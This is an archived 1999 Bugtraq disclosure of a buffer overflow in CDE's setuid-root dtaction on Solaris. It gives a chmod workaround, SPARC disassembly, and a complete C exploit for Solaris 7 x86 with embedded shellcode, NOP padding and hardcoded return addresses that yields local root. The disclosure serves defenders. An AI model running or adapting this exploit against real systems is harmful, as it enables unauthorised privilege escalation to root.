Bugtraq mailing list archives
Vulnerability in dtaction
From: job () ITSX COM (Job de Haas)
Date: Mon, 13 Sep 1999 16:04:35 +0200
Hello, I discovered the following security problem in dtaction, part of CDE: Description ----------- /usr/dt/bin/dtaction contains a buffer overflow when a username of more than 1024 bytes is supplied as an argument. Impact ------ The buffer overflow can lead to local root compromise. Workaround ---------- dtaction allows local or remote invocation of an 'Action' as any user. This is why dtaction is setuid root. If this feature is not needed the setuid bits can be removed: as root type: chmod 555 /usr/dt/bin/dtaction dtaction can then still be used to invoke local and remote 'Actions' as the user invoking dtaction. Affected systems ---------------- Although the overflow is present in most implementations, exploiting it is very much system dependent. Below an example exploit for Solaris 7 x86 is is given. The only systems I have checked were: Solaris 7, 2.6, 2.5.1 Background ---------- Despite the fact that Georgi Gunski found a buffer overflow in dtaction in 1997, no-one apparently checked dtaction any further. The overflow that was discovered then appeared to be due to a bug in the shared library libDtSvc.so, which was subsequently fixed. Even though the Sun Security Bulletin 164 at that time said: Due to insufficient bounds checking on arguments supplied to dtaction, it is possible to overwrite the internal stack space of dtaction. As dtaction is setuid root, this vulnerability may be exploited to gain root access. Apparently not all user supplied arguments were checked. Supplying a username over 1024 with the argument -user will overflow an internal buffer used to log a message to /var/adm/sulog. Although the overflow can succeed, a message will always be logged to /var/adm/sulog. The overflow is in a function called AddSuLog, which is called from a function LogFailure, which in turn is called from a function UnknownUser: The code at the end of the routine UnkownUser() looks like this (all on Solaris 2.6): UnknownUser+0x025c: call LogFailure UnknownUser+0x0260: nop UnknownUser+0x0264: call 0x00023904 [unresolved PLT 54: XmStringFree] UnknownUser+0x0268: mov %i3, %o0 UnknownUser+0x026c: call 0x00023904 [unresolved PLT 54: XmStringFree] UnknownUser+0x0270: mov %i2, %o0 UnknownUser+0x0274: call 0x00023910 [unresolved PLT 55: XtFree] UnknownUser+0x0278: mov %i4, %o0 UnknownUser+0x027c: sethi %hi(0x23c00), %o0 UnknownUser+0x0280: call 0x000237a8 [unresolved PLT 25: XtAppMainLoop] UnknownUser+0x0284: ld [%o0 + 0x3c4], %o0 UnknownUser+0x0288: ret UnknownUser+0x028c: restore According to the discription of XtAppMainLoop, it will never return. This will make the overflow not exploitable on systems where the return address on the stack is for the caller of the caller (like sparc). However, when we inspect the function XtAppMainLoop on Solaris 2.6 we find: XtAppMainLoop: save %sp, -0xc0, %sp XtAppMainLoop+0x0004: tst %i0 XtAppMainLoop+0x0008: be XtAppMainLoop+0x30 XtAppMainLoop+0x000c: add %fp, -0x60, %o1 XtAppMainLoop+0x0010: ld [%i0 + 0x224], %o0 XtAppMainLoop+0x0014: tst %o0 XtAppMainLoop+0x0018: be XtAppMainLoop+0x30 XtAppMainLoop+0x001c: add %fp, -0x60, %o1 XtAppMainLoop+0x0020: ld [%i0 + 0x224], %o1 XtAppMainLoop+0x0024: jmpl %o1, %o7 XtAppMainLoop+0x0028: mov %i0, %o0 XtAppMainLoop+0x002c: add %fp, -0x60, %o1 XtAppMainLoop+0x0030: call 0xef5a193c [unresolved PLT 181: XtAppNextEvent] XtAppMainLoop+0x0034: mov %i0, %o0 XtAppMainLoop+0x0038: call 0xef5a1948 [unresolved PLT 182: XtDispatchEvent] XtAppMainLoop+0x003c: add %fp, -0x60, %o0 XtAppMainLoop+0x0040: ldsb [%i0 + 0x21c], %o0 XtAppMainLoop+0x0044: tst %o0 XtAppMainLoop+0x0048: be XtAppMainLoop+0x30 XtAppMainLoop+0x004c: add %fp, -0x60, %o1 XtAppMainLoop+0x0050: tst %i0 XtAppMainLoop+0x0054: be XtAppMainLoop+0x78 XtAppMainLoop+0x0058: nop XtAppMainLoop+0x005c: ld [%i0 + 0x228], %o0 XtAppMainLoop+0x0060: tst %o0 XtAppMainLoop+0x0064: be XtAppMainLoop+0x78 XtAppMainLoop+0x0068: nop XtAppMainLoop+0x006c: ld [%i0 + 0x228], %o1 XtAppMainLoop+0x0070: jmpl %o1, %o7 XtAppMainLoop+0x0074: mov %i0, %o0 XtAppMainLoop+0x0078: ret XtAppMainLoop+0x007c: restore It seems that this function might end if a certain test fails. It is unclear if this is a test under control of the user. Below is a simple C program which shows the problem on Solaris 7 x86, which has a stack with the return address of the caller on it. Regards, Job --- Job de Haas job () itsx com ITSX bv http://www.itsx.com -------8<----------------------------------------------------------------- /* * dtaction_ov.c * Job de Haas * (c) ITSX bv 1999 * * This program demonstrates an overflow problem in /usr/dt/bin/dtaction. * It has only been tested on Solaris 7 x86 * assembly code has been taken from ex_dtprintinfo86.c by unewn4th () usa net * */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <pwd.h> #define BUFLEN 998 char exploit_code[] = "\xeb\x18\x5e\x33\xc0\x33\xdb\xb3\x08\x2b\xf3\x88\x06\x50\x50\xb0" "\x8d\x9a\xff\xff\xff\xff\x07\xee\xeb\x05\xe8\xe3\xff\xff\xff" "\xeb\x18\x5e\x33\xc0\x33\xdb\xb3\x08\x2b\xf3\x88\x06\x50\x50\xb0" "\x17\x9a\xff\xff\xff\xff\x07\xee\xeb\x05\xe8\xe3\xff\xff\xff" "\x55\x8b\xec\x83\xec\x08\xeb\x50\x33\xc0\xb0\x3b\xeb\x16\xc3\x33" "\xc0\x40\xeb\x10\xc3\x5e\x33\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88" "\x7e\x06\xeb\x05\xe8\xec\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f" "\xc3\x5e\x33\xc0\x89\x76\x08\x88\x46\x07\x89\x46\x0c\x50\x8d\x46" "\x08\x50\x8b\x46\x08\x50\xe8\xbd\xff\xff\xff\x83\xc4\x0c\x6a\x01" "\xe8\xba\xff\xff\xff\x83\xc4\x04\xe8\xd4\xff\xff\xff/bin/id"; main() { char *argp[6], *envp[3]; char buf[2048]; unsigned long *p; struct passwd *pw; int buflen; if ((pw = getpwuid(getuid())) == NULL) { perror("getpwuid"); exit(1); } buflen = BUFLEN - strlen( pw->pw_name ); memset(buf,0x90,buflen); strncpy( &buf[500], exploit_code, strlen(exploit_code)); /* set some pointers to values that keep code running */ p = (unsigned long *)&buf[buflen]; *p++ = 0x37dc779b; *p++ = 0xdfaf6502; *p++ = 0x08051230; *p++ = 0x080479b8; /* the return address. */ *p++ = 0x08047710; *p = 0; argp[0] = strdup("/usr/dt/bin/dtaction"); argp[1] = strdup("-u"); argp[2] = strdup(buf); argp[3] = strdup("Run"); argp[4] = strdup("/usr/bin/id"); argp[5] = NULL; if (!getenv("DISPLAY")) { printf("forgot to set DISPLAY\n"); exit(1); } envp[0] = malloc( strlen("DISPLAY=")+strlen(getenv("DISPLAY"))+1); strcpy(envp[0],"DISPLAY="); strcat(envp[0],getenv("DISPLAY")); envp[1] = NULL; execve("/usr/dt/bin/dtaction",argp,envp); }
Current thread:
- gftp, (continued)
- gftp Oscar Haeger (Sep 05)
- Re: gftp - ms ftp debug mode Bencsath Boldizsar (Sep 08)
- fixing all buffer overflows --- random magin numbers Dr. Joel M. Hoffman (Sep 11)
- Re: fixing all buffer overflows --- random magin numbers Peter van Dijk (Sep 12)
- Re: fixing all buffer overflows --- random magin numbers Eric Hutchinson (Sep 12)
- Re: fixing all buffer overflows --- random magin numbers Daniel W. Dulitz x108 (Sep 13)
- gftp Oscar Haeger (Sep 05)
- Enterprise Overflow Daniel Kerr (Sep 11)
- Re: gftp - ms ftp debug mode Valentin (Sep 12)
- Re: gftp - ms ftp debug mode Max Vision (Sep 12)
- Linux 2.2.12 mini-audit Solar Designer (Sep 13)
- Vulnerability in dtaction Job de Haas (Sep 13)
- Many kind of POP3/SMTP server softwares for Windows have buffer overflow bug UNYUN (Sep 12)
- Accept overflow on Netscape Enterprise Server 3.6 SP2 Nobuo Miwa (Sep 12)
- Re: COM and Windows 2000 thomasz () HOSTMASTER ORG (Sep 12)